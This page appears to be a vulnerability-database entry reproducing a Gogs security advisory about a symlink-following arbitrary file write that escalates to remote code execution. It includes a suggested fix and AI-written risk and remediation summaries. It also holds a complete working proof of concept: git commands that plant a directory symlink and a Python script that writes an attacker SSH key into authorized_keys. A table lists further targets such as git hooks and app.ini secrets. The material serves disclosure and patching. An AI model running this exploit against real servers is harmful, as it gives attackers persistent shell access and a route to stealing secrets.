Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-reachable with only a repo-write account (PR:L), no user interaction; the write escapes the repo to the host filesystem (S:C) enabling RCE, so C/I/A all High.
Primary rating from Vendor (https://github.com/gogs/gogs).
CVSS VectorVendor: https://github.com/gogs/gogs
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
7DescriptionCVE.org
Summary
(*Repository).UploadRepoFiles checks for symlinks only on the leaf of the upload target (osx.IsSymlink(targetPath)). The siblings UpdateRepoFile, DeleteRepoFile, and GetDiffPreview use hasSymlinkInPath, which lstats every component - UploadRepoFiles is the lone outlier. An attacker with repo-write access plus a multipart upload whose filename contains a literal backslash (preserved by filepath.Base on Linux, then converted to / by pathx.Clean) redirects the write through a previously-committed directory symlink. iox.CopyFile opens the destination with os.Create (no O_NOFOLLOW), so the kernel follows the parent symlink and writes attacker bytes anywhere the gogs UID can write - ~git/.ssh/authorized_keys → SSH foothold, or <repo>.git/hooks/post-receive → next-push RCE.
Windows builds are unaffected: filepath.Base treats \ as a separator (strips the multi-segment trick) and git defaults core.symlinks=false at checkout (committed mode-120000 entries become text files, not real symlinks). Details
The asymmetric check at internal/database/repo_editor.go:601-612:
targetPath := path.Join(dirPath, upload.Name)
if osx.IsSymlink(targetPath) { // ← LEAF-ONLY
return errors.Newf("cannot overwrite symbolic link: %s", upload.Name)
}
if err = iox.CopyFile(tmpPath, targetPath); err != nil { ... }vs. UpdateRepoFile's correct walker at internal/database/repo_editor.go:163:
if hasSymlinkInPath(localPath, opts.OldTreeName) || hasSymlinkInPath(localPath, opts.NewTreeName) {
return errors.New("cannot update file with symbolic link in path")
}hasSymlinkInPath (internal/database/repo_editor.go:120-131) lstats every component; osx.IsSymlink (internal/osx/osx.go:35-41) is os.Lstat mode-bit on the leaf - fine inside the loop, wrong as a single call.
Multi-segment upload.Name reaches the loop because: (1) c.Req.FormFile("file") returns *multipart.FileHeader whose Filename is filepath.Base(filename) - Linux only treats / as separator, so backslashes are preserved; (2) NewUpload calls pathx.Clean (internal/pathx/pathx.go:13-16) which does strings.ReplaceAll(p, "\\", "/") - converting backslashes to forward slashes; (3) upload.Name = "evil/foo" is persisted and joined into path.Join(dirPath, upload.Name). iox.CopyFile at internal/iox/iox.go:24 uses os.Create(dst) = OpenFile(dst, O_RDWR|O_CREATE|O_TRUNC, ...) - no O_NOFOLLOW, kernel follows symlinks in path. Git's default core.symlinks=true on Linux materialises pushed mode-120000 trees as real symlinks at the next UpdateLocalCopyBranch.
Suggested fix
- Replace the leaf check at
repo_editor.go:606withhasSymlinkInPath(localPath, path.Join(opts.TreePath, upload.Name))- the same primitiveUpdateRepoFilealready uses. - Walk
opts.TreePath*before* theos.MkdirAll(dirPath, ...)at line 583 so that pre-existing symlinked components don't letMkdirAllcreate directories outside the repo. - Switch
iox.CopyFile's open toO_WRONLY|O_CREATE|O_TRUNC|O_NOFOLLOW, closing the lstat→write TOCTOU at the syscall layer. - In
database.NewUpload, afterpathx.Clean, refusenamecontaining/or\outright. Browsers strip path components from file inputs; only attacker tooling sends multi-segment values.
PoC
Tested against gogs HEAD d7571322 on Ubuntu 24.04. Reproduces on v0.14.2 (packages renamed osx↔osutil, iox.CopyFile↔com.Copy, identical logic).
Reproduction prerequisites
- gogs ≥ 0.14.0 on Linux/macOS (
runtime.GOOS != "windows"). - Two attacker accounts on the gogs instance with write to a repo
attacker/playground(repo creators are admins of their own repos). git≥ 2.x withcore.symlinks=true(Linux/macOS default).- Python 3 stdlib only -
curl -Fdoes NOT trigger the bug because shell quoting + Go's RFC 2045 quoted-pair parsing both consume the backslash; we build the multipart body byte-exactly.
Why curl alone is unreliable
Bug needs *two* backslash bytes on the wire so Go's mime.ParseMediaType quoted-string rule (\X → X) yields a single \ in the parsed filename, which pathx.Clean then turns into /.
| Shell form | Wire bytes | Go parses to | upload.Name | Triggers? |
|---|---|---|---|---|
-F "...filename=a\b" | a\b | ab | ab | no |
-F "...filename=a\\b" (double quotes) | a\b | ab | ab | no |
-F '...filename=a\\b' (single quotes) | a\\b | a\b | a/b | yes |
The Python below removes the ambiguity.
Step 1 - plant the directory symlink
git clone https://attacker:attacker_password@gogs.example/attacker/playground
cd playground
ln -s /home/git/.ssh hijack
git add hijack && git commit -m 'docs link' && git push origin main
cd ..Bare repo now contains a mode-120000 entry for hijack. Next UpdateLocalCopyBranch materialises <conf.AppDataPath>/tmp/local-r/<repoID>/hijack → /home/git/.ssh.
Step 2 - upload + commit
Save as poc.py:
#!/usr/bin/env python3
"""PoC for gogs UploadRepoFiles parent-symlink → arbitrary file write."""
import http.client, ssl, json, re, urllib.parse
from http.cookies import SimpleCookie
GOGS_HOST = 'gogs.example'
USERNAME = 'attacker'
PASSWORD = 'attacker_password'
REPO_OWNER = 'attacker'
REPO_NAME = 'playground'
BRANCH = 'main'
PUBKEY = 'ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n'
ctx = ssl.create_default_context()
# set to None for plain HTTP / port 3000
def conn():
if ctx is None:
return http.client.HTTPConnection(GOGS_HOST, 3000)
return http.client.HTTPSConnection(GOGS_HOST, 443, context=ctx)
cookies = {}
def update_cookies(resp):
for hdr in resp.msg.get_all('Set-Cookie') or []:
for name, morsel in SimpleCookie(hdr).items():
cookies[name] = morsel.value
def cookie_header():
return '; '.join(f'{k}={v}' for k, v in cookies.items())
def get_csrf(html):
return re.search(r'name="_csrf"\s+(?:value|content)="([^"]+)"', html).group(1)
# 1. GET /user/login → session cookie + CSRF
c = conn(); c.request('GET', '/user/login')
r = c.getresponse(); update_cookies(r)
csrf_token = get_csrf(r.read().decode())
# 2. Submit credentials
c = conn()
c.request('POST', '/user/login',
body=urllib.parse.urlencode({'_csrf': csrf_token, 'user_name': USERNAME, 'password': PASSWORD}),
headers={'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
r = c.getresponse(); r.read(); update_cookies(r)
assert r.status in (302, 303), f'login failed: {r.status}'
# 3. Refresh CSRF for the logged-in session
c = conn()
c.request('GET', f'/{REPO_OWNER}/{REPO_NAME}', headers={'Cookie': cookie_header()})
r = c.getresponse(); html = r.read().decode(); update_cookies(r)
csrf_token = get_csrf(html)
# 4. Hand-built multipart with literal "\\" (two backslash bytes) in filename.
# Wire form: filename="hijack\\authorized_keys"
boundary = '----poc-' + 'x' * 16
filename_on_wire = r'hijack\\authorized_keys'
# 23 chars, 2 of them backslashes
body = (
f'--{boundary}\r\n'
f'Content-Disposition: form-data; name="file"; filename="{filename_on_wire}"\r\n'
f'Content-Type: text/plain\r\n\r\n{PUBKEY}\r\n--{boundary}--\r\n'
).encode()
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/upload-file', body=body, headers={
'Content-Type': f'multipart/form-data; boundary={boundary}',
'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token,
})
r = c.getresponse(); upload_resp = r.read().decode()
print('upload status:', r.status, 'body:', upload_resp)
uuid = json.loads(upload_resp)['uuid']
# 5. Commit the uploaded file at the repo root.
c = conn()
c.request('POST', f'/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/',
body=urllib.parse.urlencode({
'_csrf': csrf_token, 'tree_path': '', 'commit_summary': 'docs link',
'commit_choice': 'direct', 'files': uuid,
}),
headers={'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': cookie_header(), 'X-CSRF-Token': csrf_token})
r = c.getresponse(); r.read()
print('commit status:', r.status)python3 poc.py
# upload status: 200 body: {"uuid":"<UUID>"}
# commit status: 302Step 3 - confirm and use the foothold
sudo cat /home/git/.ssh/authorized_keys
# operator's view
# → ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop
ssh -i ~/.ssh/id_ed25519 git@gogs.example
# attacker's view
# → shell as the gogs runtime UIDServer-side trace
multipart wire bytes: filename="hijack\\authorized_keys"
mime.ParseMediaType → "hijack\authorized_keys" (quoted-pair: \\ → \)
filepath.Base → "hijack\authorized_keys" (Linux: only / is a separator)
pathx.Clean → "hijack/authorized_keys" (\\ → /, then path.Clean)
UploadRepoFiles:
targetPath = <local-r>/<repoID>/hijack/authorized_keys
= /home/git/.ssh/authorized_keys (parent symlink resolved)
osx.IsSymlink(targetPath) = false (leaf doesn't exist as a symlink)
iox.CopyFile → os.Create → OpenFile WITHOUT O_NOFOLLOW (follows the parent symlink)Other reachable targets (same primitive)
| Symlink target | Effect on next event |
|---|---|
/home/git/.ssh | SSH key implant → shell as gogs UID |
<RepoRoot>/<owner>/<repo>.git/hooks | Hook overwrite → arbitrary code on next push |
<RepoRoot>/<owner>/<repo>.git | core.fsmonitor=<cmd> in config → exec on next git op |
~git/custom/conf | Modify app.ini (SCRIPT_TYPE, INSTALL_LOCK, SECRET_KEY) on restart |
| Path of the sqlite DB file | DoS or admin-row replant |
Independent confirmation against the source
git clone https://github.com/gogs/gogs.git && cd gogs
git checkout d7571322
diff <(sed -n '160,170p' internal/database/repo_editor.go) \
<(sed -n '601,615p' internal/database/repo_editor.go)
# Confirm: line 163 calls hasSymlinkInPath; line 606 calls osx.IsSymlink (leaf only)
sed -n '13,16p' internal/pathx/pathx.go
# Confirm: pathx.Clean does ReplaceAll("\\", "/")Impact
- Authenticated RCE as the gogs runtime UID from one repo write. Chain: plant symlink (one git push) → upload with crafted filename → commit → write to
~git/.ssh/authorized_keys→ ssh in. - Lateral targets: gogs sqlite DB (rewrite admin row), bare-repo hook scripts (run on next push by *any* user with
GOGS_AUTH_USER_*env populated),app.iniSECRET_KEY(forges session cookies, decrypts stored 2FA secrets and mirror credentials). - Persistent: symlink and key both survive restart; removing the attacker's repo access does not undo the SSH foothold.
- Linux/macOS only. Windows hosts are unaffected for two independent reasons (
filepath.Baseseparator handling, git'score.symlinksdefault).
Articles & Coverage 1
AnalysisAI
Authenticated arbitrary file write in Gogs (self-hosted Git service) versions below 0.14.3 on Linux/macOS lets a user with repository write access escape the working tree and overwrite any file the gogs UID can touch, escalating to remote code execution. The flaw stems from UploadRepoFiles validating symlinks only on the leaf path while sibling functions correctly walk every component; combined with a crafted multipart filename containing a literal backslash, the write is redirected through a previously committed directory symlink to targets like ~git/.ssh/authorized_keys or <repo>.git/hooks/post-receive. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Requires an authenticated account with write access to some repository (PR:L) on a Gogs instance running on Linux or macOS (`runtime.GOOS != "windows"`), version 0.14.0-0.14.2. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | This is a genuine high-priority issue, not a high-CVSS-but-low-real-risk case. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker who can create a repository on a Linux-hosted Gogs instance (thereby becoming its admin/writer) commits a directory symlink such as `hijack -> /home/git/.ssh`, then uploads a file whose multipart filename contains a literal backslash (`hijack\authorized_keys`) so the server resolves the write into `~git/.ssh/authorized_keys`. Because the destination is opened without `O_NOFOLLOW`, the attacker's SSH public key is written through the parent symlink, and they then SSH in as the gogs runtime UID for full remote code execution. … |
| Remediation | Vendor-released patch: upgrade to Gogs 0.14.3, which replaces the leaf-only `osx.IsSymlink` check with the full-path `hasSymlinkInPath` walker (PR https://github.com/gogs/gogs/pull/8332, commit https://github.com/gogs/gogs/commit/04cb8afbb01d855454e59977a1cdbf522ea1db31; advisory GHSA-89mr-xqfv-758m). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Audit all Gogs instances for version 0.14.3 or below and restrict repository write permissions to essential personnel only. …
Sign in for detailed remediation steps and compensating controls.
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-39082
GHSA-89mr-xqfv-758m